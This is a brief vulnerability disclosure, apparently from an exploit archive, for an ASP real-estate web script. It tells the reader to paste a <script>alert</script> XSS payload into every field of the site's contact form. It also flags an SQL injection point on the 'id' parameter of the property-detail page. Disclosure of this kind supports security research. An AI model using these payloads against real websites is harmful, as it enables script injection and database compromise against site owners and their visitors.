1-http://www.example.com/dora/default.asp?goster=iletisim

You write xss code in  page's text box

Adý <script>alert("G3");</script>
Soyadý<script>alert("G3");</script>
Mail Adresiniz   <script>alert("G3");</script>
Konu     <script>alert("G3");</script>
Mesajý <script>alert("G3");</script>

Press to "gör"(send) button.

http://www.example.com//dora/default.asp?goster=emlakdetay&id= [SQL]